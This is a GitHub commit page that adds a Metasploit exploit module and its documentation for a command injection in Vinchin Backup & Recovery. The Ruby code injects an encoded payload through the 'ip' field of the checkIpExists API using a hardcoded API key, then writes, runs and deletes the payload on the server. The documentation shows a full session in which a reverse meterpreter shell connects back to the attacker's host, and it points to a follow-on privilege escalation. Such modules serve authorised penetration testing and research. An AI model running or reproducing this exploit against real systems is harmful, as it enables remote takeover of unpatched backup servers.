-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18542, Vinchin Backup & Recovery Command Injection
- Loading branch information
Showing
2 changed files
with
279 additions
and
0 deletions.
There are no files selected for viewing
170 changes: 170 additions & 0 deletions
170
documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,170 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits a vulnerability in Vinchin Backup & Recovery versions 5.0.x, 6.0.x, 6.7.x, and 7.0.x. To prepare the environment: | ||
|
||
1. Download Vinchin Backup & Recovery version 5.0.x, 6.0.x, 6.7.x, or 7.0.x. | ||
2. Install the software on a Linux-based server using the downloaded ISO. | ||
3. During the installation, ensure that the network interface is active and configured. | ||
4. After installation, verify that the Vinchin Backup & Recovery service is operational and accessible over the network. | ||
|
||
*Note: The module is designed to work with the specified versions. Functionality with other versions has not been confirmed.* | ||
|
||
## Verification Steps | ||
|
||
1. Install a vulnerable version of Vinchin Backup & Recovery (versions 5.0.x, 6.0.x, 6.7.x, or 7.0.x). | ||
2. Start msfconsole in your Metasploit environment. | ||
3. Do: `use exploit/linux/http/vinchin_backup_recovery_cmd_inject` | ||
4. Set the RHOSTS to the target IP address or hostname. | ||
5. Do: `run` | ||
6. If the target is vulnerable, the exploit will execute the specified payload or command. | ||
|
||
## Options | ||
|
||
Here are the specific options for the `exploit/linux/http/vinchin_backup_recovery_cmd_inject` module: | ||
|
||
#### RHOSTS | ||
|
||
- **Description**: Specifies the target address or range of addresses. | ||
- **Default Value**: None. It must be set by the user. | ||
|
||
#### RPORT | ||
|
||
- **Description**: The port on which the Vinchin Backup & Recovery service is running. | ||
- **Default Value**: 443 (this is not configurable in the default Vinchin Backup & Recovery setup). | ||
|
||
#### SSL | ||
|
||
- **Description**: Specifies whether to use SSL for the connection. | ||
- **Default Value**: True, as Vinchin typically runs over HTTPS. | ||
|
||
#### TARGETURI | ||
|
||
- **Description**: The base path to the Vinchin Backup & Recovery application. | ||
- **Default Value**: `/` | ||
|
||
#### APIKEY | ||
|
||
- **Description**: The hardcoded API key required to authenticate to the API. | ||
- **Default Value**: `6e24cc40bfdb6963c04a4f1983c8af71` | ||
|
||
## Scenarios | ||
|
||
### Successful Exploitation against Vinchin Backup & Recovery 7.0.1.26282 | ||
|
||
This scenario demonstrates exploiting the Vinchin Backup & Recovery version 7.0.1.26282 on a Linux server. | ||
|
||
**Environment**: | ||
- Vinchin Backup & Recovery 7.0.1.26282 | ||
- Linux Server | ||
- Metasploit Framework | ||
|
||
**Steps**: | ||
|
||
1. Start `msfconsole`. | ||
2. Load the exploit module: | ||
``` | ||
use exploit/linux/http/vinchin_backup_recovery_cmd_inject | ||
``` | ||
4. Set the required options: | ||
``` | ||
set RHOSTS [target IP] | ||
set APIKEY [API Key] | ||
``` | ||
5. Optionally set a payload and configure LHOST and LPORT. | ||
6. Execute the exploit: | ||
``` | ||
exploit | ||
``` | ||
|
||
**Expected Output**: | ||
|
||
``` | ||
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options | ||
Module options (exploit/linux/http/vinchin_backup_recovery_cmd_inject): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
APIKEY 6e24cc40bfdb6963c04a4f1983c8 yes The hardcoded API key | ||
af71 | ||
Proxies no A proxy chain of format type:host:port[,type:host: | ||
port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.co | ||
m/docs/using-metasploit/basics/using-metasploit.ht | ||
ml | ||
RPORT 443 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
SSLCert no Path to a custom SSL certificate (default is rando | ||
mly generated) | ||
TARGETURI / yes The base path to the Vinchin Backup & Recovery app | ||
lication | ||
URIPATH no The URI to use for this exploit (default is random | ||
) | ||
VHOST no HTTP server virtual host | ||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an | ||
address on the local machine or 0.0.0.0 to listen on all address | ||
es. | ||
SRVPORT 8080 yes The local port to listen on. | ||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FT | ||
P, TFTP, TNFTP, WGET) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILENAME JSSwiKfcOw no Name to use on remote system when storing pa | ||
yload; cannot contain spaces. | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR /usr/share/nginx/vinchin/ yes Remote writable dir to store payload; cannot | ||
tmp contain spaces. | ||
LHOST 192.168.1.5 yes The listen address (an interface may be spec | ||
ified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Automatic | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3 | ||
rhosts => 192.168.1.3 | ||
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check | ||
[*] Detected Vinchin version: 7.0.1.26282 | ||
[+] 192.168.1.3:443 - The target is vulnerable. | ||
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit | ||
[*] Started reverse TCP handler on 192.168.1.5:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Detected Vinchin version: 7.0.1.26282 | ||
[+] The target is vulnerable. | ||
[*] Sending stage (3045380 bytes) to 192.168.1.3 | ||
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.3:58960) at 2023-11-21 02:00:57 +0100 | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
``` | ||
|
||
Note: All instances of this exploit can be subject to privilege escalation using the | ||
`exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` module in the Metasploit environment. |
109 changes: 109 additions & 0 deletions
109
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Vinchin Backup and Recovery Command Injection', | ||
'Description' => %q{ | ||
This module exploits a command injection vulnerability in Vinchin Backup & Recovery | ||
v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the | ||
checkIpExists API endpoint, an attacker can execute arbitrary commands as the | ||
web server user. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Gregory Boddin (LeakIX)', # Vulnerability discovery | ||
'Valentin Lobstein' # Metasploit module | ||
], | ||
'References' => [ | ||
['CVE', '2023-45498'], | ||
['CVE', '2023-45499'], | ||
['URL', 'https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/'], | ||
['URL', 'https://vinchin.com/'] # Vendor URL | ||
], | ||
'DisclosureDate' => '2023-10-26', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'SideEffects' => [ IOC_IN_LOGS ], | ||
'Reliability' => [ REPEATABLE_SESSION ], | ||
'AKA' => ['Vinchin Command Injection'] | ||
}, | ||
'Platform' => ['linux', 'unix'], | ||
'Arch' => [ARCH_CMD], | ||
'Targets' => [ | ||
['Automatic', {}] | ||
], | ||
|
||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'SSL' => true, | ||
'FETCH_WRITABLE_DIR' => '/usr/share/nginx/vinchin/tmp' | ||
}, | ||
'Privileged' => false | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(443), | ||
OptString.new('TARGETURI', [true, 'The base path to the Vinchin Backup & Recovery application', '/']), | ||
OptString.new('APIKEY', [true, 'The hardcoded API key', '6e24cc40bfdb6963c04a4f1983c8af71']), | ||
] | ||
) | ||
end | ||
|
||
def exploit | ||
hex_encoded_payload = payload.encoded.unpack('H*').first | ||
formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join | ||
|
||
temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}" | ||
command = "echo -e #{formatted_payload}|tee #{temp_file};chmod 777 #{temp_file};#{temp_file};rm #{temp_file}" | ||
send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(datastore['TARGETURI'], 'api/'), | ||
'vars_get' => { | ||
'm' => '30', | ||
'f' => 'checkIpExists', | ||
'k' => datastore['APIKEY'] | ||
}, | ||
'data' => "p={\"ip\":\"a||#{command}\"}" | ||
}) | ||
end | ||
|
||
def check | ||
target_uri_path = normalize_uri(target_uri.path, 'login.php') | ||
res = send_request_cgi('uri' => target_uri_path) | ||
|
||
return CheckCode::Unknown('Failed to connect to the target.') unless res | ||
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 | ||
|
||
version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/ | ||
version_match = res.body.match(version_pattern) | ||
|
||
unless version_match && version_match[1] | ||
return CheckCode::Unknown('Unable to extract version.') | ||
end | ||
|
||
version = Rex::Version.new(version_match[1]) | ||
print_status("Detected Vinchin version: #{version}") | ||
|
||
if (version >= Rex::Version.new('5.0.0') && version < Rex::Version.new('5.1.0')) || | ||
(version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')) || | ||
(version >= Rex::Version.new('6.7.0') && version < Rex::Version.new('6.8.0')) || | ||
(version >= Rex::Version.new('7.0.0') && version < Rex::Version.new('7.0.2')) | ||
return CheckCode::Appears | ||
else | ||
return CheckCode::Safe | ||
end | ||
end | ||
end |